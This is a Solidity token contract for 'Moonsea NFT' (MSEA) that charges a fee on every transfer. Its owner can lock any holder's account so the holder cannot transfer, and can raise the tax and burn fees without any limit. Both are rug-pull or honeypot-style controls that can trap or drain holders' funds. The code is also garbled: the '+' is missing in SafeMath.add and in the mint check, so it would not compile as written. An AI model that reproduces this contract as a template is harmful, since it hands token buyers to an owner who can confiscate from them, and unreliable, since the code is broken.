/**
Smart EVM
*/

pragma solidity ^0.4.25;

library SafeMath {

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a b;
require(c >= a);
return c;
}

function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}

contract Ownable {
address public owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}

function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}



contract BaseToken is Ownable {
using SafeMath for uint256;

string constant public name = 'Moonsea NFT';
string constant public symbol = 'MSEA';
uint8 constant public decimals = 9;
uint256 public totalSupply = 1000000000000000*10**uint256(decimals);
uint256 public constant MAXSupply = 100000000000000000 * 10 ** uint256(decimals);

mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;

mapping(address => bool) private _isExcludedFromFee;

mapping(address => bool) private _locked;


uint256 public _taxFee = 1;
uint256 private _previousTaxFee = _taxFee;

uint256 public _burnFee = 4;
uint256 private _previousBurnFee = _burnFee;

address public projectAddress = 0x3715ef755617d1642Fe73A7Af1D4e0565727Cfaa;

address public burnAddress = 0x000000000000000000000000000000000000dEaD;

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);

function _transfer(address from, address to, uint value) internal {
require(to != address(0), "is 0 address");

require(!_locked[from], "is locked");

if(_isExcludedFromFee[from])
removeAllFee();

uint256 fee = calculateTaxFee(value);

uint256 burn = calculateBurnFee(value);

balanceOf[from] = balanceOf[from].sub(value);

balanceOf[to] = balanceOf[to].add(value).sub(fee).sub(burn);

if(fee > 0) {
balanceOf[projectAddress] = balanceOf[projectAddress].add(fee);
emit Transfer(from, projectAddress, fee);
}

if(burn > 0) {
balanceOf[burnAddress] = balanceOf[burnAddress].add(burn);
emit Transfer(from, burnAddress, burn);
}


if(_isExcludedFromFee[from])
restoreAllFee();

emit Transfer(from, to, value);
}


function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}

function transferFrom(address from, address to, uint256 value) public returns (bool) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}

function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}

function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
allowance[msg.sender][spender] = allowance[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, allowance[msg.sender][spender]);
return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
allowance[msg.sender][spender] = allowance[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, allowance[msg.sender][spender]);
return true;
}

/*
function mintToken(address target, uint256 mintedAmount) public onlyOwner{
require (totalSupply mintedAmount <= MAXSupply);

balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);

emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
*/

function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10 ** 2
);
}

function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(
10 ** 2
);
}

function removeAllFee() private {
if(_taxFee == 0 && _burnFee == 0)
return;

_previousTaxFee = _taxFee;
_previousBurnFee = _burnFee;
_taxFee = 0;
_burnFee = 0;
}

function restoreAllFee() private {
_taxFee = _previousTaxFee;
_burnFee = _previousBurnFee;
}

function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}

function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}

function isExcludeFromFee(address account) public view returns (bool) {

return _isExcludedFromFee[account];
}


function setLocked(address account) public onlyOwner {
_locked[account] = true;
}

function setUnlocked(address account) public onlyOwner {
_locked[account] = false;
}


function isLocked(address account) private view returns (bool) {

return _locked[account];
}


function setProjectAddress(address _projectAddress) public onlyOwner {
projectAddress = _projectAddress;
}

function setTaxFee(uint256 taxFee) public onlyOwner {
_taxFee = taxFee;
}

function setBurnFee(uint256 burnFee) public onlyOwner {
_burnFee = burnFee;
}

}


contract MoonseaNFT is BaseToken {

constructor() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);

owner = msg.sender;

excludeFromFee(owner);
excludeFromFee(address(this));

}

function() public payable {
revert();
}
}